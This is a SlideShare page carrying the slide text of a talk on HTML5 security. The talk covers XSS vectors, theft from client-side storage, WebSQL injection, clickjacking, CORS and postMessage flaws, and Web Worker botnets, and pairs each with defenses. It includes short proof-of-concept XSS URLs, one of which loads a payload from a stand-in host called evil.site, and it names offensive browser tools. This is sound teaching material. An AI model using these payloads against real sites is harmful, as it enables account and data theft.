SlideShare uma empresa Scribd logo
1 de 48
Baixar para ler offline
youstar@insight-labs
   Introduction to HTML5
   HTML5 threat model
   Vulnerabilities & Defense
   Tools
   Reference
   History
     HTML1.0——1993.6 Not Standard
     HTML 2.0——1995.11 RFC 1866
     HTML 3.2——1996.1.14 W3C Recommended Standard
     HTML 4.0——1997.12.18 W3C Recommended Standard
     HTML 4.01——1999.12.24 W3C Recommended Standard
     XHTML——2000.1.20 W3C Recommended Standard
     HTML5——2008 First Draft Standard
               2012 W3C Candidate Recommendation
   Features
     The three aspects of HTML5
      ▪ Content HTML
       ▪ New Tags and Attributes
     ▪ Presentation of content CSS
     ▪ Interaction with content JavaScript
       ▪ Add New API   Drag   LocalStorage   WebWorkers etc
   Features
   XSS abuse with tags and attributes
   Hiding URL Code
   Stealing from the storage
   Injecting and Exploiting WebSQL
   ClickJacking &&CookieJacking
   Cross Origin Request and postMessage
   Client‐side File Includes
   Botnet and widgets
   In:
     New tags: <button>,<video>,<audio>,<article>,<footer>,<nav>
     New attributes for tags: autocomplete, autofocus, pattern(yes,regex) for
          input
         New media events
         New <canvas> tag for 2D rendering
         New form controls for date and time
         Geolocation
         New selectors
         Client-side storage including localStorage, sessionStorage, and WebSQL
   Out:
         Presentation elements such a <font>, <center>
         Presentation attributes including align, border
         <frame>,<frameset>
         <applet>
         Old special effects: <marquee>,<bgsound>
         <noscript>
   Attack:
     New XSS Vector
     Bypass Black-list Filter


   Defense:
     Add new tags to Black-list
     Change Regex
   DOM
     window.history.back();
     window.history.forward();
     window.history.go();
   HTML5
     history.pushState()
      ▪ history.pushState(state object,title,URL);
     history.replaceState()
      ▪ The same with pushState,but modifies the current
        history entry.
http://127.0.0.1/html5/poc/history/xsspoc.php?xss=<
script>history.pushState({},'',location.href.split("?").
shift());document.write(1)</script>



http://127.0.0.1/html5/poc/history/xsspoc.php
   Type
     LocalStorage:for long-term storage
     SessionStorage:for the session application(last
      when the browser closed)
   Differences
     Cookies:4k
     LocalStorage/ SessionStorage:depends on
      browser(usually 5MB)
   Support
     Firefox 3.5, Safari 4.0, IE8, Google Chrome, Opera
      10.50
   Function
     (localStorage | sessionStorage).setItem()
     (localStorage | sessionStorage).getItem()
     (localStorage | sessionStorage).deleteItem()
     (localStorage | sessionStorage).clear()
   Attack
     Get the data from the storage(cookie,passwd,etc)
     Storage your xss shellcode
     Unlimit the path
   Defense
     Don’t store sensitive data in local storage
     Don't use local storage for session identifiers
     Stick with cookies and use the HTTPOnly and
     Secure flags
   Database Storage
     The same as the Google Gears
   Operate
     openDatabase("Database Name", "Database Version", "Database
      Description", "Estimated Size");
     transaction("YOUR SQL STATEMENT HERE");
     executeSql();

   Type
     SQLite (support by WebKit)
   Attack
     Store shellcode
     SQL inject
   Defense
     Strick with the sql operate
     Encode the sql result before display
     Don’t store sensitive data
   Store shellcode
   SQL Injection
     Use sqlite_master
      ▪ SELECT name FROM sqlite_master WHERE type='table'
      ▪ SELECT sql FROM sqlite_master WHERE
        name='table_name'
      ▪ SELECT sqlite_version()
     Select with ?
      ▪ executeSql("SELECT name FROM stud WHERE id=" +
        input_id); False
      ▪ executeSql("SELECT name FROM stud WHERE id=?",
        [input_id]); True
   Drag and drop basics
     Drag Data
     the drag feedback image
     drag effects
   Drag events:
       dragstart
       dragenter
       dragover
       dragleave
       drag
       drop
       dragend
   ClickJacking
     XSS + Drag
   CookieJacking
     Use many technology to steal user’s local cookies
   Technology
     How to read the local fileiframe+file://
     How to detect the state of cookies Clickjacking
     How to send cookiesSMB
   Defense
     Use iframe with sandbox
     If (top !== window) top.location=
      window.location.href;
     if (top!=self) top.location.href=self.location.href
   postMessage
     Send
      ▪ otherWindow.postMessage(message, targetOrigin);
     Receive
      window.addEventListener("message", receiveMessage, false);
      function receiveMessage(event)
      {
        if (event.origin !== "http://example.org:8080")
          return;
        // ...
      }
   Defense
     Check the postMessage origin
     Don’t use innerHTML
      ▪ Element.innerHTML=e.data;//danger
      ▪ Element.textContent=e.data;//safe
     Don’t use Eval to deal with the mesage
   Cross-Origin Resource Sharing
     ▪ Originally Ajax calls were subject to Same Origin Policy
     ▪ Site A cannot make XMLHttpRequests to Site B
     ▪ HTML5 makes it possible to make these cross domain calls
     ▪ Site ASite B(Response must include a header)
       ▪ Access-Control-Allow-Origin: Site A       Must
       ▪ Access-Control-Allow-Credentials: true | false
       ▪ Access-Control-Expose-Headers:
       ▪ etc
   Defense
     Don’t set this: Access-Control-Allow-Origin: *
      ▪ (Flash crossdomain.xml )
     Prevent DDOS
      ▪ if(origin=="Site A"){header(Access-Control-Allow-
        Origin:Site A)……//process request}
   Code like this:
<html><body><script>
x = new XMLHttpRequest();
x.open("GET",location.hash.substring(1));
x.onreadystatechange=function(){if(x.readyState==4){
document.getElementById("main").innerHTML=x.responseText;}}
x.send();
</script>
<div id=“main”></div>
</body></html>
 POC
       Introducing Cross Origin Requests http://example.com/#http://evil.site/payload.php
       VContents of ‘payload.php’ will be included as HTML within <div id=“main”></div>
       New type of XSS!!
   Web Workers
     running scripts in the background independently
     Very simple
        var w = new Worker("some_script.js");
        w.onmessage = function(e) { // do something };
        w.terminate()
     Access
      ▪ XHR,navigator object,application cache,spawn other workers!
     Can’t access
      ▪ DOM,window,document objects
   Attack
     Botnet
      ▪ Application‐level DDoS attacks
      ▪ Email Spam
      ▪ Distributed password cracking
     Network Scanning
     Guessing User’s Private IP Address
      ▪ Identify the user’s subnet
      ▪ Identify the IP address
   COR+XSS+Workers=shell of the future
   HTML5CSdump
     enumeration and extraction techniques described
     before to obtain all the client-side storage relative
     to a certain domain name
   JS-Recon
     Port Scans
     Network Scans
     Detecting private IP address
   Imposter
       Steal cookies
       Set cookies
       Steal Local Shared Objects
       Steal stored passwords from FireFox
       etc
   Shell of the Future
     Reverse Web Shell handler
     Bypass anti-session hijacking measures
   Ravan
     JavaScript based Distributed Computing system
     hashing algorithms
      ▪ MD5
      ▪ SHA1
      ▪ SHA256
      ▪ SHA512
 HTML5 带来的新安全威胁:xisigr
 Attacking with HTML5:lavakumark
 Abusing HTML5:Ming Chow
 HTML5 Web Security:Thomas Röthlisberger
 Abusing HTML 5 Structured Client-side Storage:Alberto Trivero
 Cookiejacking:Rosario Valotta
 http://heideri.ch/jso/#html5
 http://www.wooyun.org/bugs/wooyun-2011-02351
 http://shreeraj.blogspot.com/2011/03/html-5-xhr-l2-and-
  dom-l3-top-10-attacks.html
 http://www.html5test.com
   http://hi.baidu.com/xisigr/blog/item/aebf0728abd960f299250abe.
    html
   http://blog.whatwg.org/whats-next-in-html-episode-2-sandbox
   http://code.google.com/intl/zh-CN/apis/gears/api_database.html
   http://michael-coates.blogspot.com/2010/07/html5-local-storage-
    and-xss.html
   http://www.w3.org/TR/access-control/
   http://m-austin.com/blog/?p=19
   https://developer.mozilla.org/en/
   http://www.w3.org/TR/cors/
   http://www.andlabs.org/tools/ravan.html
   http://www.gnucitizen.org/blog/client-side-sql-injection-attacks/
   Contact Me
   email:youstar@foxmail.com
   Site:
     www.codesec.info

     www.insight-labs.org

Mais conteúdo relacionado

Mais procurados

Secure .NET programming
Secure .NET programmingSecure .NET programming
Secure .NET programming
Ante Gulam
 
Google chrome presentation
Google chrome presentationGoogle chrome presentation
Google chrome presentation
reza jalaluddin
 
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
CODE BLUE
 

Mais procurados (20)

Super simple application security with Apache Shiro
Super simple application security with Apache ShiroSuper simple application security with Apache Shiro
Super simple application security with Apache Shiro
 
Ecom2
Ecom2Ecom2
Ecom2
 
Java. Explicit and Implicit Wait. Testing Ajax Applications
Java. Explicit and Implicit Wait. Testing Ajax ApplicationsJava. Explicit and Implicit Wait. Testing Ajax Applications
Java. Explicit and Implicit Wait. Testing Ajax Applications
 
Django - Know Your Namespace: Middleware
Django - Know Your Namespace: MiddlewareDjango - Know Your Namespace: Middleware
Django - Know Your Namespace: Middleware
 
Top 10 F5 iRules to migrate to a modern load balancing platform
Top 10 F5 iRules to migrate to a modern load balancing platformTop 10 F5 iRules to migrate to a modern load balancing platform
Top 10 F5 iRules to migrate to a modern load balancing platform
 
Mongo db for c# developers
Mongo db for c# developersMongo db for c# developers
Mongo db for c# developers
 
Mongo db for C# Developers
Mongo db for C# DevelopersMongo db for C# Developers
Mongo db for C# Developers
 
Introduction to the new official C# Driver developed by 10gen
Introduction to the new official C# Driver developed by 10genIntroduction to the new official C# Driver developed by 10gen
Introduction to the new official C# Driver developed by 10gen
 
Securing REST APIs
Securing REST APIsSecuring REST APIs
Securing REST APIs
 
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
 
Blockchain com JavaScript
Blockchain com JavaScriptBlockchain com JavaScript
Blockchain com JavaScript
 
Secure .NET programming
Secure .NET programmingSecure .NET programming
Secure .NET programming
 
Google chrome presentation
Google chrome presentationGoogle chrome presentation
Google chrome presentation
 
Html5 and web technology update
Html5 and web technology updateHtml5 and web technology update
Html5 and web technology update
 
Forget the Web
Forget the WebForget the Web
Forget the Web
 
Bare-knuckle web development
Bare-knuckle web developmentBare-knuckle web development
Bare-knuckle web development
 
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
 
Beyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the codeBeyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the code
 
The Ring programming language version 1.7 book - Part 47 of 196
The Ring programming language version 1.7 book - Part 47 of 196The Ring programming language version 1.7 book - Part 47 of 196
The Ring programming language version 1.7 book - Part 47 of 196
 
PHP Experience 2016 - [Workshop] Elastic Search: Turbinando sua aplicação PHP
PHP Experience 2016 - [Workshop] Elastic Search: Turbinando sua aplicação PHPPHP Experience 2016 - [Workshop] Elastic Search: Turbinando sua aplicação PHP
PHP Experience 2016 - [Workshop] Elastic Search: Turbinando sua aplicação PHP
 

Semelhante a Talk about html5 security

HTML5 vs Silverlight
HTML5 vs SilverlightHTML5 vs Silverlight
HTML5 vs Silverlight
Matt Casto
 
Developing your first application using FIWARE
Developing your first application using FIWAREDeveloping your first application using FIWARE
Developing your first application using FIWARE
FIWARE
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure coding
Haitham Raik
 
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
Patrick Lauke
 

Semelhante a Talk about html5 security (20)

Html5 hacking
Html5 hackingHtml5 hacking
Html5 hacking
 
Browser security
Browser securityBrowser security
Browser security
 
HTML5 vs Silverlight
HTML5 vs SilverlightHTML5 vs Silverlight
HTML5 vs Silverlight
 
Sanjeev ghai 12
Sanjeev ghai 12Sanjeev ghai 12
Sanjeev ghai 12
 
Developing your first application using FIWARE
Developing your first application using FIWAREDeveloping your first application using FIWARE
Developing your first application using FIWARE
 
AtlasCamp 2014: 10 Things a Front End Developer Should Know About Connect
AtlasCamp 2014: 10 Things a Front End Developer Should Know About ConnectAtlasCamp 2014: 10 Things a Front End Developer Should Know About Connect
AtlasCamp 2014: 10 Things a Front End Developer Should Know About Connect
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
 
Building Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 FeaturesBuilding Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 Features
 
Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure coding
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
General Principles of Web Security
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Security
 
Defeating Cross-Site Scripting with Content Security Policy (updated)
Defeating Cross-Site Scripting with Content Security Policy (updated)Defeating Cross-Site Scripting with Content Security Policy (updated)
Defeating Cross-Site Scripting with Content Security Policy (updated)
 
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
 
Attractive HTML5~開発者の視点から~
Attractive HTML5~開発者の視点から~Attractive HTML5~開発者の視点から~
Attractive HTML5~開発者の視点から~
 
Attacking HTML5
Attacking HTML5Attacking HTML5
Attacking HTML5
 
Browser Security
Browser SecurityBrowser Security
Browser Security
 
前端概述
前端概述前端概述
前端概述
 
HTML5 on Mobile
HTML5 on MobileHTML5 on Mobile
HTML5 on Mobile
 
Html5 For Jjugccc2009fall
Html5 For Jjugccc2009fallHtml5 For Jjugccc2009fall
Html5 For Jjugccc2009fall
 

Último

Último (20)

On National Teacher Day, meet the 2024-25 Kenan Fellows
On National Teacher Day, meet the 2024-25 Kenan FellowsOn National Teacher Day, meet the 2024-25 Kenan Fellows
On National Teacher Day, meet the 2024-25 Kenan Fellows
 
How to Manage Global Discount in Odoo 17 POS
How to Manage Global Discount in Odoo 17 POSHow to Manage Global Discount in Odoo 17 POS
How to Manage Global Discount in Odoo 17 POS
 
Google Gemini An AI Revolution in Education.pptx
Google Gemini An AI Revolution in Education.pptxGoogle Gemini An AI Revolution in Education.pptx
Google Gemini An AI Revolution in Education.pptx
 
How to Create and Manage Wizard in Odoo 17
How to Create and Manage Wizard in Odoo 17How to Create and Manage Wizard in Odoo 17
How to Create and Manage Wizard in Odoo 17
 
UGC NET Paper 1 Mathematical Reasoning & Aptitude.pdf
UGC NET Paper 1 Mathematical Reasoning & Aptitude.pdfUGC NET Paper 1 Mathematical Reasoning & Aptitude.pdf
UGC NET Paper 1 Mathematical Reasoning & Aptitude.pdf
 
Micro-Scholarship, What it is, How can it help me.pdf
Micro-Scholarship, What it is, How can it help me.pdfMicro-Scholarship, What it is, How can it help me.pdf
Micro-Scholarship, What it is, How can it help me.pdf
 
Graduate Outcomes Presentation Slides - English
Graduate Outcomes Presentation Slides - EnglishGraduate Outcomes Presentation Slides - English
Graduate Outcomes Presentation Slides - English
 
Kodo Millet PPT made by Ghanshyam bairwa college of Agriculture kumher bhara...
Kodo Millet  PPT made by Ghanshyam bairwa college of Agriculture kumher bhara...Kodo Millet  PPT made by Ghanshyam bairwa college of Agriculture kumher bhara...
Kodo Millet PPT made by Ghanshyam bairwa college of Agriculture kumher bhara...
 
Sociology 101 Demonstration of Learning Exhibit
Sociology 101 Demonstration of Learning ExhibitSociology 101 Demonstration of Learning Exhibit
Sociology 101 Demonstration of Learning Exhibit
 
On_Translating_a_Tamil_Poem_by_A_K_Ramanujan.pptx
On_Translating_a_Tamil_Poem_by_A_K_Ramanujan.pptxOn_Translating_a_Tamil_Poem_by_A_K_Ramanujan.pptx
On_Translating_a_Tamil_Poem_by_A_K_Ramanujan.pptx
 
Mehran University Newsletter Vol-X, Issue-I, 2024
Mehran University Newsletter Vol-X, Issue-I, 2024Mehran University Newsletter Vol-X, Issue-I, 2024
Mehran University Newsletter Vol-X, Issue-I, 2024
 
HMCS Vancouver Pre-Deployment Brief - May 2024 (Web Version).pptx
HMCS Vancouver Pre-Deployment Brief - May 2024 (Web Version).pptxHMCS Vancouver Pre-Deployment Brief - May 2024 (Web Version).pptx
HMCS Vancouver Pre-Deployment Brief - May 2024 (Web Version).pptx
 
Accessible Digital Futures project (20/03/2024)
Accessible Digital Futures project (20/03/2024)Accessible Digital Futures project (20/03/2024)
Accessible Digital Futures project (20/03/2024)
 
Fostering Friendships - Enhancing Social Bonds in the Classroom
Fostering Friendships - Enhancing Social Bonds  in the ClassroomFostering Friendships - Enhancing Social Bonds  in the Classroom
Fostering Friendships - Enhancing Social Bonds in the Classroom
 
How to Add New Custom Addons Path in Odoo 17
How to Add New Custom Addons Path in Odoo 17How to Add New Custom Addons Path in Odoo 17
How to Add New Custom Addons Path in Odoo 17
 
Exploring_the_Narrative_Style_of_Amitav_Ghoshs_Gun_Island.pptx
Exploring_the_Narrative_Style_of_Amitav_Ghoshs_Gun_Island.pptxExploring_the_Narrative_Style_of_Amitav_Ghoshs_Gun_Island.pptx
Exploring_the_Narrative_Style_of_Amitav_Ghoshs_Gun_Island.pptx
 
Towards a code of practice for AI in AT.pptx
Towards a code of practice for AI in AT.pptxTowards a code of practice for AI in AT.pptx
Towards a code of practice for AI in AT.pptx
 
Beyond_Borders_Understanding_Anime_and_Manga_Fandom_A_Comprehensive_Audience_...
Beyond_Borders_Understanding_Anime_and_Manga_Fandom_A_Comprehensive_Audience_...Beyond_Borders_Understanding_Anime_and_Manga_Fandom_A_Comprehensive_Audience_...
Beyond_Borders_Understanding_Anime_and_Manga_Fandom_A_Comprehensive_Audience_...
 
Wellbeing inclusion and digital dystopias.pptx
Wellbeing inclusion and digital dystopias.pptxWellbeing inclusion and digital dystopias.pptx
Wellbeing inclusion and digital dystopias.pptx
 
Python Notes for mca i year students osmania university.docx
Python Notes for mca i year students osmania university.docxPython Notes for mca i year students osmania university.docx
Python Notes for mca i year students osmania university.docx
 

Talk about html5 security

  • 2. Introduction to HTML5  HTML5 threat model  Vulnerabilities & Defense  Tools  Reference
  • 3. History  HTML1.0——1993.6 Not Standard  HTML 2.0——1995.11 RFC 1866  HTML 3.2——1996.1.14 W3C Recommended Standard  HTML 4.0——1997.12.18 W3C Recommended Standard  HTML 4.01——1999.12.24 W3C Recommended Standard  XHTML——2000.1.20 W3C Recommended Standard  HTML5——2008 First Draft Standard  2012 W3C Candidate Recommendation
  • 4. Features  The three aspects of HTML5 ▪ Content HTML ▪ New Tags and Attributes ▪ Presentation of content CSS ▪ Interaction with content JavaScript ▪ Add New API Drag LocalStorage WebWorkers etc
  • 5. Features
  • 6.
  • 7.
  • 8. XSS abuse with tags and attributes  Hiding URL Code  Stealing from the storage  Injecting and Exploiting WebSQL  ClickJacking &&CookieJacking  Cross Origin Request and postMessage  Client‐side File Includes  Botnet and widgets
  • 9. In:  New tags: <button>,<video>,<audio>,<article>,<footer>,<nav>  New attributes for tags: autocomplete, autofocus, pattern(yes,regex) for input  New media events  New <canvas> tag for 2D rendering  New form controls for date and time  Geolocation  New selectors  Client-side storage including localStorage, sessionStorage, and WebSQL  Out:  Presentation elements such a <font>, <center>  Presentation attributes including align, border  <frame>,<frameset>  <applet>  Old special effects: <marquee>,<bgsound>  <noscript>
  • 10. Attack:  New XSS Vector  Bypass Black-list Filter  Defense:  Add new tags to Black-list  Change Regex
  • 11.
  • 12. DOM  window.history.back();  window.history.forward();  window.history.go();  HTML5  history.pushState() ▪ history.pushState(state object,title,URL);  history.replaceState() ▪ The same with pushState,but modifies the current history entry.
  • 14.
  • 15. Type  LocalStorage:for long-term storage  SessionStorage:for the session application(last when the browser closed)  Differences  Cookies:4k  LocalStorage/ SessionStorage:depends on browser(usually 5MB)  Support  Firefox 3.5, Safari 4.0, IE8, Google Chrome, Opera 10.50
  • 16.
  • 17. Function  (localStorage | sessionStorage).setItem()  (localStorage | sessionStorage).getItem()  (localStorage | sessionStorage).deleteItem()  (localStorage | sessionStorage).clear()
  • 18. Attack  Get the data from the storage(cookie,passwd,etc)  Storage your xss shellcode  Unlimit the path  Defense  Don’t store sensitive data in local storage  Don't use local storage for session identifiers  Stick with cookies and use the HTTPOnly and Secure flags
  • 19.
  • 20. Database Storage  The same as the Google Gears  Operate  openDatabase("Database Name", "Database Version", "Database Description", "Estimated Size");  transaction("YOUR SQL STATEMENT HERE");  executeSql();  Type  SQLite (support by WebKit)
  • 21. Attack  Store shellcode  SQL inject  Defense  Strick with the sql operate  Encode the sql result before display  Don’t store sensitive data
  • 22. Store shellcode
  • 23. SQL Injection  Use sqlite_master ▪ SELECT name FROM sqlite_master WHERE type='table' ▪ SELECT sql FROM sqlite_master WHERE name='table_name' ▪ SELECT sqlite_version()  Select with ? ▪ executeSql("SELECT name FROM stud WHERE id=" + input_id); False ▪ executeSql("SELECT name FROM stud WHERE id=?", [input_id]); True
  • 24. Drag and drop basics  Drag Data  the drag feedback image  drag effects  Drag events:  dragstart  dragenter  dragover  dragleave  drag  drop  dragend
  • 25.
  • 26. ClickJacking  XSS + Drag
  • 27.
  • 28. CookieJacking  Use many technology to steal user’s local cookies  Technology  How to read the local fileiframe+file://  How to detect the state of cookies Clickjacking  How to send cookiesSMB
  • 29.
  • 30. Defense  Use iframe with sandbox  If (top !== window) top.location= window.location.href;  if (top!=self) top.location.href=self.location.href
  • 31. postMessage  Send ▪ otherWindow.postMessage(message, targetOrigin);  Receive window.addEventListener("message", receiveMessage, false); function receiveMessage(event) { if (event.origin !== "http://example.org:8080") return; // ... }
  • 32.
  • 33. Defense  Check the postMessage origin  Don’t use innerHTML ▪ Element.innerHTML=e.data;//danger ▪ Element.textContent=e.data;//safe  Don’t use Eval to deal with the mesage
  • 34. Cross-Origin Resource Sharing ▪ Originally Ajax calls were subject to Same Origin Policy ▪ Site A cannot make XMLHttpRequests to Site B ▪ HTML5 makes it possible to make these cross domain calls ▪ Site ASite B(Response must include a header) ▪ Access-Control-Allow-Origin: Site A Must ▪ Access-Control-Allow-Credentials: true | false ▪ Access-Control-Expose-Headers: ▪ etc
  • 35.
  • 36.
  • 37. Defense  Don’t set this: Access-Control-Allow-Origin: * ▪ (Flash crossdomain.xml )  Prevent DDOS ▪ if(origin=="Site A"){header(Access-Control-Allow- Origin:Site A)……//process request}
  • 38. Code like this: <html><body><script> x = new XMLHttpRequest(); x.open("GET",location.hash.substring(1)); x.onreadystatechange=function(){if(x.readyState==4){ document.getElementById("main").innerHTML=x.responseText;}} x.send(); </script> <div id=“main”></div> </body></html>  POC  Introducing Cross Origin Requests http://example.com/#http://evil.site/payload.php  VContents of ‘payload.php’ will be included as HTML within <div id=“main”></div>  New type of XSS!!
  • 39.
  • 40. Web Workers  running scripts in the background independently  Very simple var w = new Worker("some_script.js"); w.onmessage = function(e) { // do something }; w.terminate()  Access ▪ XHR,navigator object,application cache,spawn other workers!  Can’t access ▪ DOM,window,document objects
  • 41. Attack  Botnet ▪ Application‐level DDoS attacks ▪ Email Spam ▪ Distributed password cracking  Network Scanning  Guessing User’s Private IP Address ▪ Identify the user’s subnet ▪ Identify the IP address
  • 42. COR+XSS+Workers=shell of the future
  • 43. HTML5CSdump  enumeration and extraction techniques described before to obtain all the client-side storage relative to a certain domain name  JS-Recon  Port Scans  Network Scans  Detecting private IP address
  • 44. Imposter  Steal cookies  Set cookies  Steal Local Shared Objects  Steal stored passwords from FireFox  etc  Shell of the Future  Reverse Web Shell handler  Bypass anti-session hijacking measures
  • 45. Ravan  JavaScript based Distributed Computing system  hashing algorithms ▪ MD5 ▪ SHA1 ▪ SHA256 ▪ SHA512
  • 46.  HTML5 带来的新安全威胁:xisigr  Attacking with HTML5:lavakumark  Abusing HTML5:Ming Chow  HTML5 Web Security:Thomas Röthlisberger  Abusing HTML 5 Structured Client-side Storage:Alberto Trivero  Cookiejacking:Rosario Valotta  http://heideri.ch/jso/#html5  http://www.wooyun.org/bugs/wooyun-2011-02351  http://shreeraj.blogspot.com/2011/03/html-5-xhr-l2-and- dom-l3-top-10-attacks.html  http://www.html5test.com
  • 47. http://hi.baidu.com/xisigr/blog/item/aebf0728abd960f299250abe. html  http://blog.whatwg.org/whats-next-in-html-episode-2-sandbox  http://code.google.com/intl/zh-CN/apis/gears/api_database.html  http://michael-coates.blogspot.com/2010/07/html5-local-storage- and-xss.html  http://www.w3.org/TR/access-control/  http://m-austin.com/blog/?p=19  https://developer.mozilla.org/en/  http://www.w3.org/TR/cors/  http://www.andlabs.org/tools/ravan.html  http://www.gnucitizen.org/blog/client-side-sql-injection-attacks/
  • 48. Contact Me  email:youstar@foxmail.com  Site:  www.codesec.info  www.insight-labs.org